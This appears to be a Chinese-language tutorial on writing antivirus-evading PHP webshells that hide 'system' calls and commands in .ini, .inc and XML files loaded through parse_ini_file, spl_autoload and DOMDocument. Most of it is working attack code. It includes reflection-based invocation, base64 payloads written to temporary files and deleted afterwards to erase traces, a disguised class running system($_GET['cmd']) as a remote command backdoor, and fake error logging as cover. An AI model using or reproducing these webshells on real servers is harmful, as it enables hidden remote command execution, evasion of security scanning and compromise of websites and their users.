基于 PHP 内置类及函数的免杀 WebShell

前言

PHP 作为广泛使用的服务端语言，其灵活的内置类（如 DOMDocument）和文件操作机制（.ini、.inc 的自动加载），为攻击者提供了天然的隐蔽通道。通过 动态函数拼接、反射调用、加密混淆 和 伪命名空间 等手法，恶意代码得以“寄生”于正常的业务逻辑中，甚至借助析构函数、自动加载等机制实现 无文件化触发。这种“隐写术”般的攻击方式，不仅挑战了传统检测技术的边界，也对开发者和安全团队提出了更高维度的防御要求。

本文将以 PHP 内置类与文件操作 为核心，深度剖析攻击者如何将 XML 解析、配置加载、自动包含等“合法”功能武器化，构建出零特征、高动态的免杀 WebShell。

利用parse_ini_file函数

PHP中有一个名为parse_ini_file的函数，用于解析.ini文件 ， 如果Webshell的代码隐藏在.ini文件的某些配置项中，然后通过解析这些配置项来动态执行代码。

动态函数调用 + 反射执行

创建一个.ini文件，其中包含恶意代码的字符串

// [payload]
// func_name = "system"
// encoded_cmd = "d2hvYW1p"  // base64("whoami")

代码：

class ConfigLoader {
    private $config;

    public function __construct($file) {
        $this->config = parse_ini_file($file, true); // 解析 .ini 文件
        $this->execute();
    }

    private function execute() {
        $func = $this->config['payload']['func_name'];
        $cmd = base64_decode($this->config['payload']['encoded_cmd']);
        
        // 使用反射动态调用函数
        $reflection = new ReflectionFunction($func);
        $reflection->invoke($cmd);
    }
}

new ConfigLoader('config.ini'); // 触发执行

• 敏感函数名（system）和指令（whoami）均存储在 .ini 文件中，避免代码硬编码。
• 使用 反射（ReflectionFunction） 间接调用函数，绕过静态检测。

临时文件写入 + 包含执行

.ini文件

[payload]
encoded_code = "PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4="

<?
class TempFileExecutor {
    private $code;

    public function __construct($iniFile) {
        $config = parse_ini_file($iniFile);
        $this->code = base64_decode($config['encoded_code']);
        $this->run();
    }

    private function run() {
        $tempFile = tempnam(sys_get_temp_dir(), 'tmp_');
        file_put_contents($tempFile, $this->code);
        include $tempFile;    // 包含临时文件执行代码
        unlink($tempFile);    // 清理痕迹
    }
}

new TempFileExecutor('evil.ini');

利用spl_autoload 函数

函数定义

spl_autoload(string $class_name, string $file_extensions = null): void

• 参数：

• $class_name：需要加载的类名。

• $file_extensions（可选）：指定文件扩展名（如 .php,.inc），默认使用 include_path 中的配置。

行为逻辑

1. 将类名 $class_name 转换为小写（若系统区分大小写则保留原大小写）。
2. 按 $file_extensions 指定的扩展名，在 include_path 目录下查找文件。
3. 找到文件后自动包含（include_once）该文件。

1.inc文件

<?php system("whoami"); ?>

1.php

<?php spl_autoload("1"); ?>

1. spl_autoload("1") 尝试加载类名为 nb 的文件。
2. 按默认规则查找 nb.php 或 1.inc，发现 1.inc 存在。
3. 包含 1.inc 并执行 webshell，输出服务器配置信息。

关键点：

• spl_autoload 不仅用于加载类，直接调用时也可触发文件包含。
• 文件扩展名（.inc）和类名（1）需匹配，但文件内容无需严格包含类定义。

伪装类文件 + 动态执行

payload.inc

<?php
class Payload { // 伪装成合法类
    public static function run() {
        system($_GET['cmd']); // 恶意代码
    }
}

1.php

<?php
spl_autoload("payload"); // 加载 Payload 类
if (class_exists('Payload')) {
    Payload::run(); // 触发恶意代码
}

利用DOMDocument类

DOMDocument 是 PHP 中用于处理 XML 和 HTML 文档的核心类。它基于 W3C 的 DOM（Document Object Model）标准，提供了一套完整的 API，允许开发者以树形结构操作文档节点（如元素、属性、文本等）。，支持XPath查询和动态节点解析 （php版本>8.0)

常用方法

解析 XML 数据

<?php
$xml = <<<XML
<?xml version="1.0"?>
<books>
    <book id="1">
        <title>PHP Basics</title>
        <author>John Doe</author>
    </book>
</books>
XML;

$dom = new DOMDocument();
$dom->loadXML($xml);

// 遍历所有 <book> 节点
foreach ($dom->getElementsByTagName('book') as $book) {
    $title = $book->getElementsByTagName('title')->item(0)->nodeValue;
    $author = $book->getElementsByTagName('author')->item(0)->nodeValue;
    echo "Title: $title, Author: $author\n";
}

输出：

这里我们可以提取xml里面各节点的内容，这样的话，我们就可以把恶意字符串隐藏在xml文件里面

<?php
// 恶意 XML 数据（可远程加载或硬编码）
$xml = <<<XML
<root>
    <data>whoami</data>
</root>
XML;

$doc = new DOMDocument();
$doc->loadXML($xml);  // 解析 XML
$xpath = new DOMXPath($doc);
$node = $xpath->query('//data')->item(0); // 提取节点值

// 动态调用高危函数（避免直接写 system）
$func = 'sys' . 'tem';
$func($node->nodeValue);  // 执行系统命令
?>

将恶意字符串完全隐藏在 XML 文件中

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <!-- 函数名分块存储 -->
    <function>
        <part>sys</part>
        <part>tem</part>
    </function>
    <!-- 参数使用 Base64 编码 -->
    <data>d2hvYW1p</data> <!-- Base64("whoami") -->
</config>

1.php

<?php
// 加载外部 XML 文件（可替换为远程 URL）
$xml = file_get_contents('malicious.xml');

// 解析 XML
$doc = new DOMDocument();
$doc->loadXML($xml);
$xpath = new DOMXPath($doc);

// 提取分块函数名并拼接
$funcParts = $xpath->query('//function/part');
$func = '';
foreach ($funcParts as $part) {
    $func .= $part->nodeValue; // 拼接为 "system"
}

// 提取并解码参数
$dataNode = $xpath->query('//data')->item(0);
$arg = base64_decode($dataNode->nodeValue); // 解码为 "whoami"

// 动态调用（增加安全验证）
if ($func && $arg && function_exists($func)) {
    ($func)($arg); // 执行 system("whoami")
} else {
    error_log("配置错误或函数不可用"); // 伪装成普通错误日志
}
?>